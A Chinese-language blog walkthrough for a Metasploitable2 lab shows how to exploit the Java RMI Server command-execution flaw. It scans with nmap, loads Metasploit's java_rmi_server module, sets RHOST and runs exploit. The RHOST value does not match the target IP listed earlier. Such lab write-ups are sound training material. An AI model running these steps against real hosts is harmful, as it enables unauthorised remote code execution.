Metasploitable2靶机之第九篇--Java RMI SERVER 命令执行漏洞

ゝ一纸荒年。 2022-10-22 02:46 293阅读 0赞

### 文章目录 ###

*   *   *  环境
         *  原理
         *  漏洞利用
         *   *   *  第一步 ，查看1099端口是否开启
                 *  第二步选择漏洞库
                 *  第三步 设置参数，开始攻击
                 *  第四步 利用成功，
         *  摘抄

### 环境 ###

<table> 
 <thead> 
  <tr> 
   <th>主机</th> 
   <th>地址</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>Metasploitable2</td> 
   <td>192.168.232.202</td> 
  </tr> 
  <tr> 
   <td>kali-linux</td> 
   <td>192.168.232.129</td> 
  </tr> 
 </tbody> 
</table>

### 原理 ###

*  Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞，可被利用导致代码执行

### 漏洞利用 ###

##### 第一步 ，查看1099端口是否开启 #####

Nmap –p 0-65535 192.168.232.202

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]

##### 第二步选择漏洞库 #####

msfconsole
    search rmi
    use exploit/multi/misc/java_rmi_server

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

##### 第三步 设置参数，开始攻击 #####

show options
    Set RHOST 192.168.160.131 设置要攻击的IP
    exploit

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]

##### 第四步 利用成功， #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]

### 摘抄 ###

--------------------

帆起远航，不惧风浪，

心之所向，势不可挡

--------------------

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20221022/9a2f70d393b74c2497a710db022aa75e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20221022/15679544c1d0455fbd237d1ab00ce475.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: /images/20221022/1d2a9a255e5e4c9c9e0a8c92cdd22073.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: /images/20221022/356a7e104c184d1791606b3d7de4d8b3.png